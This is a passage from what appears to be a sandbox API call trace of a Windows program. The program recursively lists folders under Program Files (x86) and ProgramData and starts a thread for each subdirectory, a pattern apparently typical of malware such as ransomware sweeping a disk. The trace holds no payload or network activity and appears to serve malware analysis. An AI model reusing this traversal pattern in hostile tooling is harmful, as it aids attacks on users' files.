(x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player" [0045.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41a9b8) returned 1 [0045.593] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x88228ce0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x88228ce0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0045.593] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0045.593] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0045.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444c30 [0045.593] wcscpy (in: _Dest=0x444c30, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.593] wcscat (in: _Dest=0x444c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.593] wcscat (in: _Dest=0x444c30, _Source="Windows NT" | out: _Dest="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0045.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 [0045.593] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0045.593] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1 [0045.593] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1 [0045.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x41a9b8 [0045.593] wcscpy (in: _Dest=0x41a9b8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.593] wcscat (in: _Dest=0x41a9b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.594] wcscat (in: _Dest=0x41a9b8, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer" [0045.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41a9b8) returned 1 [0045.594] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0045.594] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1 [0045.594] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1 [0045.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x41a9b8 [0045.594] wcscpy (in: _Dest=0x41a9b8, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.594] wcscat (in: _Dest=0x41a9b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.594] wcscat (in: _Dest=0x41a9b8, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0045.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41a9b8) returned 1 [0045.594] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0045.594] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1 [0045.594] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1 [0045.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413e38 [0045.594] wcscpy (in: _Dest=0x413e38, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0045.594] wcscat (in: _Dest=0x413e38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0045.594] wcscat (in: _Dest=0x413e38, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar" [0045.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e38) returned 1 [0045.594] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0045.594] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409aa8) returned 1 [0045.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a988) returned 1 Thread: id = 63 os_tid = 0xafc [0045.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x22) returned 0x4088c0 [0045.595] wcscpy (in: _Dest=0x4088c0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.595] wcscat (in: _Dest=0x4088c0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.595] wcscat (in: _Dest=0x4088c0, _Source="*" | out: _Dest="C:\\ProgramData\\*") returned="C:\\ProgramData\\*" [0045.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.595] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0045.596] wcscmp (_String1=".", _String2=".") returned 0 [0045.596] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.596] wcscmp (_String1="..", _String2=".") returned 1 [0045.596] wcscmp (_String1="..", _String2="..") returned 0 [0045.596] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0045.596] wcscmp (_String1="Adobe", _String2=".") returned 1 [0045.596] wcscmp (_String1="Adobe", _String2="..") returned 1 [0045.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2a) returned 0x40a988 [0045.596] wcscpy (in: _Dest=0x40a988, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.596] wcscat (in: _Dest=0x40a988, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.596] wcscat (in: _Dest=0x40a988, _Source="Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe" [0045.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238 [0045.597] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0045.597] wcscmp (_String1="Application Data", _String2=".") returned 1 [0045.597] wcscmp (_String1="Application Data", _String2="..") returned 1 [0045.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4025b8 [0045.597] wcscpy (in: _Dest=0x4025b8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.597] wcscat (in: _Dest=0x4025b8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.597] wcscat (in: _Dest=0x4025b8, _Source="Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0045.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4025b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c [0045.598] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0045.598] wcscmp (_String1="Desktop", _String2=".") returned 1 [0045.598] wcscmp (_String1="Desktop", _String2="..") returned 1 [0045.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40a790 [0045.598] wcscpy (in: _Dest=0x40a790, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.598] wcscat (in: _Dest=0x40a790, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.598] wcscat (in: _Dest=0x40a790, _Source="Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0045.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240 [0045.599] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0045.599] wcscmp (_String1="Documents", _String2=".") returned 1 [0045.599] wcscmp (_String1="Documents", _String2="..") returned 1 [0045.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409ae8 [0045.599] wcscpy (in: _Dest=0x409ae8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.599] wcscat (in: _Dest=0x409ae8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.599] wcscat (in: _Dest=0x409ae8, _Source="Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0045.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409ae8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244 [0045.600] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0045.600] wcscmp (_String1="Favorites", _String2=".") returned 1 [0045.600] wcscmp (_String1="Favorites", _String2="..") returned 1 [0045.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409b68 [0045.600] wcscpy (in: _Dest=0x409b68, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.600] wcscat (in: _Dest=0x409b68, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.600] wcscat (in: _Dest=0x409b68, _Source="Favorites" | out: _Dest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0045.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0045.601] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0045.601] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0045.602] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0045.602] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409ba8 [0045.602] wcscpy (in: _Dest=0x409ba8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.602] wcscat (in: _Dest=0x409ba8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.602] wcscat (in: _Dest=0x409ba8, _Source="Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c [0045.603] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0045.603] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0045.603] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0045.603] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402600 [0045.603] wcscpy (in: _Dest=0x402600, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.603] wcscat (in: _Dest=0x402600, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.603] wcscat (in: _Dest=0x402600, _Source="Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0045.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250 [0045.604] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0045.604] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0045.604] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0045.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40a9c0 [0045.604] wcscpy (in: _Dest=0x40a9c0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.604] wcscat (in: _Dest=0x40a9c0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.604] wcscat (in: _Dest=0x40a9c0, _Source="Mozilla" | out: _Dest="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla" [0045.604] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9c0) returned 1 [0045.604] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0045.604] wcscmp (_String1="Oracle", _String2=".") returned 1 [0045.604] wcscmp (_String1="Oracle", _String2="..") returned 1 [0045.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2c) returned 0x40a9c0 [0045.604] wcscpy (in: _Dest=0x40a9c0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.604] wcscat (in: _Dest=0x40a9c0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.604] wcscat (in: _Dest=0x40a9c0, _Source="Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle" [0045.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40a9c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0045.606] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0045.606] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0045.606] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0045.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402648 [0045.606] wcscpy (in: _Dest=0x402648, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.606] wcscat (in: _Dest=0x402648, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.606] wcscat (in: _Dest=0x402648, _Source="Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0045.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0045.607] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0045.607] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0045.607] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0045.607] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409be8 [0045.607] wcscpy (in: _Dest=0x409be8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.607] wcscat (in: _Dest=0x409be8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.607] wcscat (in: _Dest=0x409be8, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Start Menu") returned="C:\\ProgramData\\Start Menu" [0045.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0045.608] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0045.608] wcscmp (_String1="Sun", _String2=".") returned 1 [0045.608] wcscmp (_String1="Sun", _String2="..") returned 1 [0045.608] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x26) returned 0x408830 [0045.608] wcscpy (in: _Dest=0x408830, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.608] wcscat (in: _Dest=0x408830, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.608] wcscat (in: _Dest=0x408830, _Source="Sun" | out: _Dest="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0045.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x408830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0045.609] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0045.609] wcscmp (_String1="Templates", _String2=".") returned 1 [0045.609] wcscmp (_String1="Templates", _String2="..") returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409c28 [0045.609] wcscpy (in: _Dest=0x409c28, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData" [0045.609] wcscat (in: _Dest=0x409c28, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0045.609] wcscat (in: _Dest=0x409c28, _Source="Templates" | out: _Dest="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0045.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409c28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0045.610] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0045.610] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0045.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 